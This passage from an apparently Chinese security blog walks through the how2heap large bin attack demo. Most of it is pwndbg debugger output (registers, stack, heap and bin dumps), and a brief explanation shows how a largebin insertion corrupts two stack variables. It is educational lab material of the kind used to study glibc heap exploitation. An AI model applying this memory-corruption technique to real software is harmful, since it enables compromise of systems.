 RIP  0x4009f3 (main+845) ◂— mov    eax, 0
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x4009dd     lea    rdx, [rbp - 0x28]
   0x4009e1     mov    esi, 0x40102c
   0x4009e6     mov    rdi, rax
   0x4009e9     mov    eax, 0
   0x4009ee     call   fprintf@plt <0x400570>
 
 ► 0x4009f3     mov    eax, 0
   0x4009f8     mov    rsi, qword ptr [rbp - 8]
   0x4009fc     xor    rsi, qword ptr fs:[0x28]
   0x400a05     je     main+870 <0x400a0c>
    ↓
   0x400a0c     leave  
   0x400a0d     ret    
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
   51 
   52     malloc(0x90);
   53     fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
   54     fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
   55     fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
 ► 56     return 0;
   57 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
... ↓
02:0010│      0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│      0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│      0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0
05:0028│      0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4009f3 main+845
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603360-0x20
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
0x603360:       0x0000000000000000      0x00000000000003f1
0x603370:       0x0000000000000000      0x00000000006037a0
0x603380:       0x0000000000000000      0x00000000006037a0
0x603390:       0x0000000000000000      0x0000000000000000
0x6033a0:       0x0000000000000000      0x0000000000000000
0x6033b0:       0x0000000000000000      0x0000000000000000
0x6033c0:       0x0000000000000000      0x0000000000000000
0x6033d0:       0x0000000000000000      0x0000000000000000
0x6033e0:       0x0000000000000000      0x0000000000000000
0x6033f0:       0x0000000000000000      0x0000000000000000
0x603400:       0x0000000000000000      0x0000000000000000
0x603410:       0x0000000000000000      0x0000000000000000
0x603420:       0x0000000000000000      0x0000000000000000
0x603430:       0x0000000000000000      0x0000000000000000
0x603440:       0x0000000000000000      0x0000000000000000
0x603450:       0x0000000000000000      0x0000000000000000
0x603460:       0x0000000000000000      0x0000000000000000
0x603470:       0x0000000000000000      0x0000000000000000
pwndbg> n
57      }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbf00 ◂— 0x61765f6b63617473 ('stack_va')
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x26
 R10  0x0
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
 RIP  0x4009f8 (main+850) ◂— mov    rsi, qword ptr [rbp - 8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x4009e1     mov    esi, 0x40102c
   0x4009e6     mov    rdi, rax
   0x4009e9     mov    eax, 0
   0x4009ee     call   fprintf@plt <0x400570>
 
   0x4009f3     mov    eax, 0
 ► 0x4009f8     mov    rsi, qword ptr [rbp - 8]
   0x4009fc     xor    rsi, qword ptr fs:[0x28]
   0x400a05     je     main+870 <0x400a0c>
    ↓
   0x400a0c     leave  
   0x400a0d     ret    
 
   0x400a0e               nop    
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c
   52     malloc(0x90);
   53     fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
   54     fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
   55     fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
   56     return 0;
 ► 57 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
... ↓
02:0010│      0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│      0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│      0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0
05:0028│      0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4009f8 main+850
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603360-0x20
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
0x603360:       0x0000000000000000      0x00000000000003f1
0x603370:       0x0000000000000000      0x00000000006037a0
0x603380:       0x0000000000000000      0x00000000006037a0
0x603390:       0x0000000000000000      0x0000000000000000
0x6033a0:       0x0000000000000000      0x0000000000000000
0x6033b0:       0x0000000000000000      0x0000000000000000
0x6033c0:       0x0000000000000000      0x0000000000000000
0x6033d0:       0x0000000000000000      0x0000000000000000
0x6033e0:       0x0000000000000000      0x0000000000000000
0x6033f0:       0x0000000000000000      0x0000000000000000
0x603400:       0x0000000000000000      0x0000000000000000
0x603410:       0x0000000000000000      0x0000000000000000
0x603420:       0x0000000000000000      0x0000000000000000
0x603430:       0x0000000000000000      0x0000000000000000
0x603440:       0x0000000000000000      0x0000000000000000
0x603450:       0x0000000000000000      0x0000000000000000
0x603460:       0x0000000000000000      0x0000000000000000
0x603470:       0x0000000000000000      0x0000000000000000
pwndbg> p &stack_var1 - 2
$1 = (unsigned long *) 0x7fffffffe580
pwndbg> p &stack_var2 - 4
$2 = (unsigned long *) 0x7fffffffe578
pwndbg> p &stack_var2
$3 = (unsigned long *) 0x7fffffffe598
pwndbg> p &stack_var1
$4 = (unsigned long *) 0x7fffffffe590
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603140 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603140 /* '@1`' */
smallbins
empty
largebins
0x400 [corrupted]
FD: 0x603360 ◂— 0x0
BK: 0x603360 —▸ 0x6037a0 —▸ 0x7fffffffe580 ◂— 0x6037a0
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0xa0                 Used                None              None
0x6030a0            0x0                 0xa0                 Used                None              None
0x603140            0x0                 0x1f0                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x603330            0x1f0               0x30                 Used                None              None
0x603360            0x0                 0x3f0                Freed                0x0          0x6037a0
Corrupt ?! (size == 0) (0x603750)
pwndbg> x/10gx 0x7fffffffe598
0x7fffffffe598: 0x00000000006037a0      0x0000000000603010
0x7fffffffe5a8: 0x0000000000603370      0x00000000006037b0
0x7fffffffe5b8: 0xe5d20a6fe83dd300      0x0000000000400a10
0x7fffffffe5c8: 0x00007ffff7a2d830      0x00007fffffffe6a8
0x7fffffffe5d8: 0x00007fffffffe6a8      0x00000001f7b99608
pwndbg> x/10gx 0x7fffffffe590
0x7fffffffe590: 0x00000000006037a0      0x00000000006037a0
0x7fffffffe5a0: 0x0000000000603010      0x0000000000603370
0x7fffffffe5b0: 0x00000000006037b0      0xe5d20a6fe83dd300
0x7fffffffe5c0: 0x0000000000400a10      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
pwndbg> 
pwndbg> p &stack_var1
$5 = (unsigned long *) 0x7fffffffe590
pwndbg> p &stack_var2
$8 = (unsigned long *) 0x7fffffffe598
pwndbg> p (void *)stack_var1
$9 = (void *) 0x6037a0
pwndbg> p (void *)stack_var2
$10 = (void *) 0x6037a0
pwndbg> 

​ 把2带入4得到:fwd->bk_nextsize->fd_nextsize=victim,同时下面有:fwd->bk=victim。也就是说之前我们伪造的p2的bk跟bk_nextsize指向的地址被改为了victim,即(unsigned long)(&stack_var1 - 2)与(unsigned long)(&stack_var2 - 4)被改为了victim 

pwndbg> p &stack_var1
$5 = (unsigned long *) 0x7fffffffe590
pwndbg> p &stack_var2
$8 = (unsigned long *) 0x7fffffffe598
pwndbg> p (void *)stack_var1
$9 = (void *) 0x6037a0
pwndbg> p (void *)stack_var2
$10 = (void *) 0x6037a0


 

4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

你可能感兴趣的:(网络安全,系统安全,安全,安全架构)